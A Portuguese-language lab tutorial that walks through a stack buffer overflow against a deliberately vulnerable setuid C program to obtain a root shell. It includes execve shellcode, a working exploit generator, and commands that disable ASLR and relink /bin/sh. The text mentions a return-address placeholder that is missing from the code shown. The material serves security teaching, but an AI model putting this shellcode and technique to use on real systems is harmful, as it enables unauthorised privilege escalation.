Este experimento demonstra como explorar uma vulnerabilidade de buffer overflow para obter privilégios de root em um sistema Linux. O buffer overflow ocorre quando um programa tenta escrever mais dados em um buffer do que sua capacidade alocada, potencialmente sobrescrevendo dados adjacentes, como o endereço de retorno da função. Essa sobrescrita pode ser manipulada para desviar o fluxo de execução do programa para código malicioso (shellcode).
Configuração do Ambiente
Para facilitar a análise de código assembly, o experimento é realizado em um ambiente Linux de 32 bits. Pacotes adicionais para compilação e depuração em 32 bits são necessários.
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
Desativando Randomização do Espaço de Endereçamento
A randomização do espaço de endereçamento (ASLR) dificulta a previsão de endereços de memória. Para este experimento, o ASLR é desativado:
sudo sysctl -w kernel.randomize_va_space=0
Configurando um Shell Alternativo
Alguns shells, como o bash, descartam privilégios ao serem chamados. Para contornar isso, um shell diferente (zsh) é configurado como o shell padrão (/bin/sh). Se o zsh não estiver instalado, ele pode ser adicionado com sudo apt install zsh.
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
Em seguida, entre no ambiente de 32 bits:
linux32
Shellcode
Shellcode é um pequeno trecho de código assemb projetado para ser injetado e executado em um processo vulnerável. O objetivo comum é iniciar um shell com privilégios elevados. O shellcode utilizado neste experimento é:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
Programa Vulnerável (stack.c)
Um programa C simples foi criado para demonstrar a vulnerabilidade. Ele lê dados de um arquivo chamado "badfile" e os copia para um buffer local sem verificar o tamanho, usando strcpy.
/* Este programa tem uma vulnerabilidade de buffer overflow. */
/* Nossa tarefa é explorar essa vulnerabilidade */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* A seguinte instrução tem um problema de buffer overflow */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
O programa é compilado com opções específicas para desativar proteções contra buffer overflow e permitir a execução de código no stack:
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
Os flags -fno-stack-protector desativam a proteção de stack do compilador, e -z execstack permite a execução de código no stack. O flag -g habilita informações de depuração.
Explorando a Vulnerabilidade (exploit.c)
Um programa C de exploração é criado para gerar o arquivo "badfile". Ele preenche um buffer com instruções NOP (0x90) e injeta o shellcode. O objetivo é sobrescrever o endereço de retorno na stack com o endereço do shellcode.
/* Um programa que cria um arquivo contendo código para iniciar um shell */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0\x50\x68""//sh"\
"\x68""/bin"\
"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Inicializa o buffer com 0x90 (instrução NOP) */
memset(buffer, 0x90, 517);
/* Copia o shellcode para o buffer em um offset específico.
O endereço do shellcode precisa ser calculado e inserido aqui. */
strcpy(buffer + 100, shellcode); /* Offset 100 para o shellcode */
/* Salva o conteúdo no arquivo "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
Determinando o Endereço do Shellcode
Para preancher a parte do endereço de retorno no programa de exploração, é necessário determinar o endereço onde o shellcode será carregado na memória. Isso é feito usando o depurador GDB.
gdb stack
disass main
Após a desmontagem da função main, execute o programa com r e, em seguida, inspecione o valor do registrador $esp para encontrar o endereço base do buffer da função bof. Com base nesse endereço e no offset onde o shellcode foi copiado (neste caso, offset 100 em relação ao início do buffer lido, que está relacionado ao $esp), o endereço exato do shellcode pode ser calculado.
Por exemplo, se $esp aponta para 0xffffcfb0 e o buffer de bof começa próximo a esse endereço, e o shellcode é copiado no offset 100 do buffer lido por main (que por sua vez é copiado para o buffer de bof), o endereço do shellcode seria calculado somando o offset apropriado ao endereço base. O endereço de retorno na stack é sobrescrito com este endereço calculado (em ordem reversa de bytes).
Após calcular o endereço (ex: 0xffffd014), atualize o programa exploit.c substituindo \x??\x??\x??\x?? pelos bytes inversos do endereço calculado (\x14\xd0\xff\xff).
Compilando e Executando a Exploração
Compile o programa de exploração:
gcc -m32 -o exploit exploit.c
Execute primeiro o programa de exploração para criar o arquivo "badfile", e depois o programa vulnerável "stack":
./exploit
./stack
Se a exploração for bem-sucedida, um shell com privilégios de root será iniciado.
Exercícios Propostos
- Execute os passos do experimento para obter privilégios de root.
- Reative o ASLR (
sudo sysctl -w kernel.randomize_va_space=2) e tente repetir a exploração. Observe se o ataque ainda é bem-sucedido. - Restaure o link
/bin/shpara/bin/bash(ou/bin/dash) e tente a exploração novamente.
Princípios de Buffer Overflow e Prevenção
Buffer overflow explora a falta de verificação de limites na cópia de dados para buffers. Isso pode corromper a stack, incluindo o endereço de retorno, permitindo que o controle seja transferido para código injetado. Medidas de prevenção incluem escrita de código seguro, uso de funções que verificam limites (como strncpy), compilação com proteções ativadas (como Stack Canaries), e configurações de sistema que tornam o stack não executável (NX bit).